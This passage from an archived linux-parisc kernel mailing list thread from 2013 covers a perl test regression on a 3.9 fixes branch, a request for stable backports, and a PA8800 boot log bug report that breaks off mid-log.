	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Mar 2013 22:32:34 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754459Ab3CCVcM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Mar 2013 16:32:12 -0500
Original-Received: from blu0-omc3-s2.blu0.hotmail.com ([65.55.116.77]:56637 "EHLO
	blu0-omc3-s2.blu0.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754020Ab3CCVcM (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Mar 2013 16:32:12 -0500
X-Greylist: delayed 370 seconds by postgrey-1.27 at vger.kernel.org; Sun, 03 Mar 2013 16:32:11 EST
Original-Received: from BLU0-SMTP68 ([65.55.116.74]) by blu0-omc3-s2.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 3 Mar 2013 13:26:01 -0800
X-EIP: [DeU1cYMV7ggYkbCXnv9yoGaUskwiKyAj]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([70.26.28.15]) by BLU0-SMTP68.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 3 Mar 2013 13:25:59 -0800
In-Reply-To: <51325617.80102@gmx.de>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 03 Mar 2013 21:25:59.0903 (UTC) FILETIME=[B34196F0:01CE1855]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4852
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4852>

Hi Helge,

On 2-Mar-13, at 2:42 PM, Helge Deller wrote:

> Applied to my fixes-for-3.9-latest branch at
> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git


I built the above branch yesterday.  We seem to have a regression in  
behavior.
My build of perl 5.14.2-18 failed with the following error:

....
Failed 1 test out of 2039, 99.95% okay.
         op/sigdispatch.t
### Since not all tests were successful, you may want to run some of
### them individually and examine any diagnostic messages they produce.
### See the INSTALL document's section on "make test".
### You have a good chance to get more information by running
###   ./perl harness
### in the 't' directory since most (>=80%) of the tests succeeded.
### You may have to set your dynamic library search path,
### LD_LIBRARY_PATH, to point to the build directory:
###   setenv LD_LIBRARY_PATH `pwd`; cd t; ./perl harness
###   LD_LIBRARY_PATH=`pwd`; export LD_LIBRARY_PATH; cd t; ./perl  
harness
###   export LD_LIBRARY_PATH=`pwd`; cd t; ./perl harness
### for csh-style shells, like tcsh; or for traditional/modern
### Bourne-style shells, like bash, ksh, and zsh, respectively.
u=18.18  s=28.38  cu=1367.86  cs=974.72  scripts=2039  tests=465774
make[1]: *** [test] Error 1
make[1]: Leaving directory `/home/dave/debian/perl/perl-5.14.2'
make: *** [perl.static] Error 2
dpkg-buildpackage: error: debian/rules build gave error exit status 2
Build command 'cd perl-5.14.2 && dpkg-buildpackage -b -uc' failed.

I ran ./perl harness again and the same test failed.  As this looked
like a kernel issue, I tried the build again with 3.7.6+ and had a  
successful
build.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] [parisc] do not install modules when installing kernel
Date: Sun, 03 Mar 2013 23:23:52 +0100
Lines: 51
Approved: news@gmane.org
Message-ID: <5133CD78.8050501@gmx.de>
References: <3763734.hDYRZelWPG@donald.sf-tec.de> <51325617.80102@gmx.de> <BLU0-SMTP686B9725460575E9DE1B0597F90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362349745 19150 80.91.229.3 (3 Mar 2013 22:29:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 3 Mar 2013 22:29:05 +0000 (UTC)
Cc: Rolf Eike Beer <eike-kernel@sf-tec.de>,
	linux-parisc@vger.kernel.org, James.Bottomley@hansenpartnership.com
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 03 23:29:28 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UCHPK-0006dm-Gr
	for glpp-linux-parisc@plane.gmane.org; Sun, 03 Mar 2013 23:29:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754592Ab3CCW3E (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 3 Mar 2013 17:29:04 -0500
Original-Received: from mout.gmx.net ([212.227.15.19]:63969 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754579Ab3CCW3E (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sun, 3 Mar 2013 17:29:04 -0500
Original-Received: from mailout-de.gmx.net ([10.1.76.4]) by mrigmx.server.lan
 (mrigmx001) with ESMTP (Nemesis) id 0MQbf1-1UO3Ot2AM1-00U5lJ for
 <linux-parisc@vger.kernel.org>; Sun, 03 Mar 2013 23:23:58 +0100
Original-Received: (qmail invoked by alias); 03 Mar 2013 22:23:57 -0000
Original-Received: from p54AD0665.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.6.101]
  by mail.gmx.net (mp004) with SMTP; 03 Mar 2013 23:23:57 +0100
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX1+VSYt1QD2V8elXe0AoqL0qbf5TEHkVmko/itztas
	F3hMezxvQvTfp8
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130219 Thunderbird/17.0.3
In-Reply-To: <BLU0-SMTP686B9725460575E9DE1B0597F90@phx.gbl>
X-Enigmail-Version: 1.5.1
X-Y-GMX-Trusted: 0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4853
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4853>

On 03/03/2013 10:25 PM, John David Anglin wrote:
> Hi Helge,
> 
> On 2-Mar-13, at 2:42 PM, Helge Deller wrote:
> 
>> Applied to my fixes-for-3.9-latest branch at
>> http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git
> 
> 
> I built the above branch yesterday.  We seem to have a regression in behavior.
> My build of perl 5.14.2-18 failed with the following error:
> 
> ....
> Failed 1 test out of 2039, 99.95% okay.
>         op/sigdispatch.t
> ### Since not all tests were successful, you may want to run some of
> ### them individually and examine any diagnostic messages they produce.
> ### See the INSTALL document's section on "make test".
> ### You have a good chance to get more information by running
> ###   ./perl harness
> ### in the 't' directory since most (>=80%) of the tests succeeded.
> ### You may have to set your dynamic library search path,
> ### LD_LIBRARY_PATH, to point to the build directory:
> ###   setenv LD_LIBRARY_PATH `pwd`; cd t; ./perl harness
> ###   LD_LIBRARY_PATH=`pwd`; export LD_LIBRARY_PATH; cd t; ./perl harness
> ###   export LD_LIBRARY_PATH=`pwd`; cd t; ./perl harness
> ### for csh-style shells, like tcsh; or for traditional/modern
> ### Bourne-style shells, like bash, ksh, and zsh, respectively.
> u=18.18  s=28.38  cu=1367.86  cs=974.72  scripts=2039  tests=465774
> make[1]: *** [test] Error 1
> make[1]: Leaving directory `/home/dave/debian/perl/perl-5.14.2'
> make: *** [perl.static] Error 2
> dpkg-buildpackage: error: debian/rules build gave error exit status 2
> Build command 'cd perl-5.14.2 && dpkg-buildpackage -b -uc' failed.
> 
> I ran ./perl harness again and the same test failed.  As this looked
> like a kernel issue, I tried the build again with 3.7.6+ and had a successful
> build.

Hi Dave,

please pull Linus tree again on top.
There is a patch-fix from Al Viro regarding signals....
Just a guess....and 3.9 is still not stable...

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc updates for 3.9
Date: Sat, 09 Mar 2013 22:20:06 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <16829359.ebbeerfgI7@eto>
References: <20130222211615.GA5979@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2113574.sQiyoknycL"; micalg="pgp-sha1"; protocol="application/pgp-signature"
Content-Transfer-Encoding: 7Bit
X-Trace: ger.gmane.org 1362864022 4077 80.91.229.3 (9 Mar 2013 21:20:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Mar 2013 21:20:22 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 09 22:20:45 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UERC8-0002gY-6e
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Mar 2013 22:20:44 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751560Ab3CIVUV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Mar 2013 16:20:21 -0500
Original-Received: from mail.sf-mail.de ([62.27.20.61]:32951 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751079Ab3CIVUV (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Mar 2013 16:20:21 -0500
Original-Received: (qmail 9494 invoked from network); 9 Mar 2013 21:20:18 -0000
Original-Received: from dslb-188-096-214-059.pools.arcor-ip.net ([::ffff:188.96.214.59]:42863 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Sat, 09 Mar 2013 22:20:18 +0100
User-Agent: KMail/4.10 (Linux/3.8.1-30-desktop; KDE/4.10.0; x86_64; ; )
In-Reply-To: <20130222211615.GA5979@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4854
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4854>


--nextPart2113574.sQiyoknycL
Content-Transfer-Encoding: 7Bit
Content-Type: text/plain; charset="us-ascii"

Am Freitag 22 Februar 2013, 22:16:15 schrieb Helge Deller:
> Hi Linus,
> 
> The following changes since commit 19f949f52599ba7c3f67a5897ac6be14bfcb1200:
> 
>   Linux 3.8 (2013-02-18 15:58:34 -0800)
> 
> are available in the git repository at:

Can we get some of them into the stable series so we have a kernel that let's 
e.g. git work properly before may?

Greetings,

Eike
--nextPart2113574.sQiyoknycL
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2.0.19 (GNU/Linux)

iEYEABECAAYFAlE7p5EACgkQXKSJPmm5/E7bbwCgkrfU6VM/nYTyRUfqYK50/qUH
Vs4AnjlxE+S/0au2e45RViG/S0KdRvy0
=H1S7
-----END PGP SIGNATURE-----

--nextPart2113574.sQiyoknycL--

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [GIT PULL] parisc updates for 3.9
Date: Sun, 10 Mar 2013 12:35:35 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU0-SMTP4697ED392E114EAABB650197E00@phx.gbl>
References: <20130222211615.GA5979@p100.box> <16829359.ebbeerfgI7@eto>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v936)
Content-Type: text/plain; charset="US-ASCII"; format=flowed; delsp=yes
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1362933411 32110 80.91.229.3 (10 Mar 2013 16:36:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 10 Mar 2013 16:36:51 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Mar 10 17:37:15 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UEjFF-00072l-03
	for glpp-linux-parisc@plane.gmane.org; Sun, 10 Mar 2013 17:37:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751471Ab3CJQgq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 10 Mar 2013 12:36:46 -0400
Original-Received: from [65.55.116.82] ([65.55.116.82]:44651 "EHLO
	blu0-omc3-s7.blu0.hotmail.com" rhost-flags-FAIL-FAIL-OK-FAIL)
	by vger.kernel.org with ESMTP id S1751327Ab3CJQgq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 10 Mar 2013 12:36:46 -0400
Original-Received: from BLU0-SMTP46 ([65.55.116.74]) by blu0-omc3-s7.blu0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 10 Mar 2013 09:36:16 -0700
X-EIP: [UnNIfL/T1WbJolHCXhgeQo5SRXMq9oWP]
X-Originating-Email: [dave.anglin@bell.net]
Original-Received: from [192.168.2.10] ([69.158.172.5]) by BLU0-SMTP46.phx.gbl over TLS secured channel with Microsoft SMTPSVC(6.0.3790.4675);
	 Sun, 10 Mar 2013 09:36:14 -0700
In-Reply-To: <16829359.ebbeerfgI7@eto>
X-Mailer: Apple Mail (2.936)
X-OriginalArrivalTime: 10 Mar 2013 16:36:15.0010 (UTC) FILETIME=[61F1B020:01CE1DAD]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4855
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4855>

On 9-Mar-13, at 4:20 PM, Rolf Eike Beer wrote:

> Am Freitag 22 Februar 2013, 22:16:15 schrieb Helge Deller:
>> Hi Linus,
>>
>> The following changes since commit  
>> 19f949f52599ba7c3f67a5897ac6be14bfcb1200:
>>
>>  Linux 3.8 (2013-02-18 15:58:34 -0800)
>>
>> are available in the git repository at:
>
> Can we get some of them into the stable series so we have a kernel  
> that let's
> e.g. git work properly before may?


3.9-rc1 (no patches) is working well for me on rp3440.  It's been  
building GCC and
debian packages for 5+ days.

Thanks Helge for all the updates!

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeroen Roovers <jer@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: PA8800 with 3.9.0-rc1-JeR-10942-g6dbe51c : WARNING: at
 lib/timerqueue.c:74
Date: Fri, 15 Mar 2013 15:22:26 +0100
Lines: 1248
Approved: news@gmane.org
Message-ID: <20130315152226.46ad0993@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/MEflJxHANEqpE2x8XuAx=g="
X-Trace: ger.gmane.org 1363357361 31900 80.91.229.3 (15 Mar 2013 14:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 15 Mar 2013 14:22:41 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 15 15:23:04 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UGVXB-0000vE-DF
	for glpp-linux-parisc@plane.gmane.org; Fri, 15 Mar 2013 15:23:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754326Ab3COOWi (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 15 Mar 2013 10:22:38 -0400
Original-Received: from smtp.gentoo.org ([140.211.166.183]:33718 "EHLO smtp.gentoo.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753867Ab3COOWg (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 15 Mar 2013 10:22:36 -0400
Original-Received: from marga.jer-c2.orkz.net (D4B2706A.static.ziggozakelijk.nl [212.178.112.106])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	(Authenticated sender: jer)
	by smtp.gentoo.org (Postfix) with ESMTPSA id C23AB33BE40;
	Fri, 15 Mar 2013 14:22:34 +0000 (UTC)
X-Mailer: Claws Mail 3.9.0 (GTK+ 2.24.12; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4856
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4856>

--MP_/MEflJxHANEqpE2x8XuAx=g=
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

Booting... <Cpu0> 000010e800e00000  0000000000000000  CC_BOOT_INIT_PRI_PATH

Boot IO Dependent Code (IODC) revision 2
<Cpu0> 0000109000e00000  0000000000000000  CC_BOOT_LOAD_IPL_PRI_PATH
<Cpu0> 160012cb00e00000  0000000000000000  CC_MPS_SLAVE_WAKEUP_ALL
<Cpu0> 160012cd00e00000  0000000000000001  CC_MPS_SLAVE_WAKEUP
<Cpu0> 080012ce00e00000  000000f0f0d07860  CC_MPS_SLAVE_WAKE_FUNC
<Cpu1> 160012d501e00000  0100020000000052  CC_MPS_SLAVE_AWAKE
<Cpu0> 0000097c00e00000  00009000010000ff  CC_BOOT_MONARCH_SLAVE_CHECK
<Cpu1> 080012d601e00000  000000f0f0d07860  CC_MPS_SLAVE_WAKE_ADDR
<Cpu0> 160012cf00e00000  000090000100000e  CC_MPS_CPU_WAITING
<Cpu1> 0300096301e00000  0000000008000008  CC_BOOT_MEM_CPU_RENDEZVOUS
<Cpu1> 160012d301e00000  0100900000000000  CC_MPS_SLAVE_SLEEPING
<Cpu1> 080012d401e00000  000000f0f0d07dc0  CC_MPS_SLAVE_SLEEP_ADDR
<Cpu0> 160012d000e00000  0000900001000000  CC_MPS_CPU_WAIT_OVER


HARD Booted.
<Cpu0> 0000107e00e00000  0000000000000000  CC_BOOT_LAUNCH_IPL_PRI
<Cpu0> 0100142900e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
<Cpu0> 3400082100e00000  0000000000000001  CC_BOOT_BOOT_COMPLETE
palo ipl 1.18 portage@karsten Wed Jan 30 03:41:23 CET 2013

Partition Start(MB) End(MB) Id Type
1               1      14   f0 Palo
2              15    1048   83 ext2
3            1049    3100   82 swap
4            3101   70003   83 ext2

PALO(F0) partition contains:

Command line for kernel: 'root=/dev/sda4 sti_font=VGA8x16 sti=0/4/0/0 console=ttyB0 palo_kernel=2/vmlinux'
Selected kernel: /vmlinux from partition 2
ELF64 executable
Entry 00100000 first 00100000 n 2
Segment 0 load 00100000 size 6938624 mediaptr 0x1000
Segment 1 load 0080a110 size 952560 mediaptr 0x69f110
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

[    0.000000] Initializing cgroup subsys cpuset
[    0.000000] Initializing cgroup subsys cpu
[    0.000000] Linux version 3.9.0-rc1-JeR-10942-g6dbe51c (jeroen@karsten) (gcc version 4.7.2 (Gentoo 4.7.2 p1.3) ) #1 SMP PREEMPT Thu Mar 14 18:58:11 CET 2013
[    0.000000] unwind_init: start = 0x406a2000, end = 0x406dde20, entries = 15330
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000088a0 00000491 00000000 00000002 56f8f25b673eb55a 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000302
[    0.000000] CPUID vers 20 rev 5 (0x00000285)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000004040000000 End 0x000000407fdfffff Size   1022 MB
[    0.000000] Total Memory: 2046 MB
[    0.000000] PERCPU: Embedded 10 pages/cpu @0000000041a25000 s10752 r8192 d22016 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 2 zonelists in Zone order, mobility grouping on.  Total pages: 516615
[    0.000000] Kernel command line: root=/dev/sda4 sti_font=VGA8x16 sti=0/4/0/0 console=ttyB0 palo_kernel=2/vmlinux
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 262144 (order: 9, 2097152 bytes)
[    0.000000] Inode-cache hash table entries: 131072 (order: 8, 1048576 bytes)
[    0.000000] Memory: 2049644k/2095104k available (4818k kernel code, 45460k reserved, 1906k data, 364k init)
[    0.000000] virtual kernel memory layout:
    0.000000]     vmalloc : 0x0000000000008000 - 0x000000003f000000   (1007 MB)
    0.000000]     memory  : 0x0000000040000000 - 0x00000040bfe00000   (264190 MB)
    0.000000]       .init : 0x0000000040898000 - 0x00000000408f3000   ( 364 kB)
    0.000000]       .data : 0x00000000405b48c0 - 0x00000000407913b0   (1906 kB)
    0.000000]       .text : 0x0000000040100000 - 0x00000000405b48c0   (4818 kB)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=32, Nodes=8
[    0.000000] Preemptible hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.060000] Calibrating delay loop... 1795.07 BogoMIPS (lpj=3590144)
[    0.164000] pid_max: default: 32768 minimum: 301
[    0.224000] Mount-cache hash table entries: 256
[    0.284000] Initializing cgroup subsys cpuacct
[    0.344000] Initializing cgroup subsys devices
[    0.400000] Initializing cgroup subsys freezer
[    0.460000] Initializing cgroup subsys blkio
[    0.532000] Brought up 1 CPUs
[    0.572000] devtmpfs: initialized
[    0.616000] xor: measuring software checksum speed
[    0.720000]    8regs     :  4241.000 MB/sec
[    0.812000]    8regs_prefetch:  3216.000 MB/sec
[    0.908000]    32regs    :  3463.000 MB/sec
[    1.000000]    32regs_prefetch:  3238.000 MB/sec
[    1.060000] xor: using function: 8regs (4241.000 MB/sec)
[    1.128000] NET: Registered protocol family 16
[    1.188000] EISA bus registered
[    1.232000] Searching for devices...
[    1.380000] Found devices:
[    1.416000] 1. Crestone Peak Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x88a, 0x00004 }
[    1.524000] 2. Crestone Peak Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x88a, 0x00004 }
[    1.628000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[    1.720000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    1.832000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    1.940000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    2.048000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    2.156000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    2.268000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    2.372000] 10. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x076, 0x000ad }
[    2.476000] 11. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
[    2.580000] Enabling PDC_PAT chassis codes support v0.05
<Cpu0> 38000c6400e00000  a0e008101100c000  CC_PAT_ENCODED_FIELD_MAJOR_FWD_PROG
<Cpu0> 36000c6a00e00000  0000000000000420  CC_PAT_DATA_FIELD_MAJOR_FWD_PROG
[    3.476000] Releasing cpu 1 now, hpa=fffffffffe781000
<Cpu1> 0000099101e00000  0000000000000000  CC_BOOT_OS_RENDEZVOUS
<Cpu1> 0100142901e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
[    3.900000] FP[1] enabled: Rev 1 Model 20
[    3.904000] CPU(s): 2 x PA8800 (Mako) at 900.000000 MHz
[    4.032000] Setting cache flush threshold to 2000000 (2 CPUs online)
[    4.252000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    4.396000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    4.524000] LBA 0:0: PCI host bridge to bus 0000:00
[    4.592000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    4.672000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0xffffffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    4.824000] pci_bus 0000:00: root bus resource [mem 0xffffff0000000000-0xffffff0fffffffff]
[    4.932000] pci_bus 0000:00: root bus resource [bus 00-07]
[    5.020000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    5.148000] LBA 0:2: PCI host bridge to bus 0000:40
[    5.212000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    5.332000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    5.484000] pci_bus 0000:40: root bus resource [mem 0xffffff2000000000-0xffffff2fffffffff]
[    5.592000] pci_bus 0000:40: root bus resource [bus 40-47]
[    5.680000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    5.808000] LBA 0:3: PCI host bridge to bus 0000:60
[    5.872000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    5.992000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    6.144000] pci_bus 0000:60: root bus resource [mem 0xffffff3000000000-0xffffff3fffffffff]
[    6.252000] pci_bus 0000:60: root bus resource [bus 60-67]
[    6.340000] Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000
[    6.472000] LBA 0:4: PCI host bridge to bus 0000:80
[    6.536000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    6.656000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
[    6.808000] pci_bus 0000:80: root bus resource [mem 0xffffff4000000000-0xffffff4fffffffff]
[    6.916000] pci_bus 0000:80: root bus resource [bus 80-87]
<Cpu0> 0300108200e00000  0000000000000000  CC_PROCS_ENTRY_IN
<Cpu0> 0300030700e00000  0000000000000000  CC_SYSTEM_STATE_RUNNING_OK
[    7.396000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    7.492000] bio: create slab <bio-0> at 0
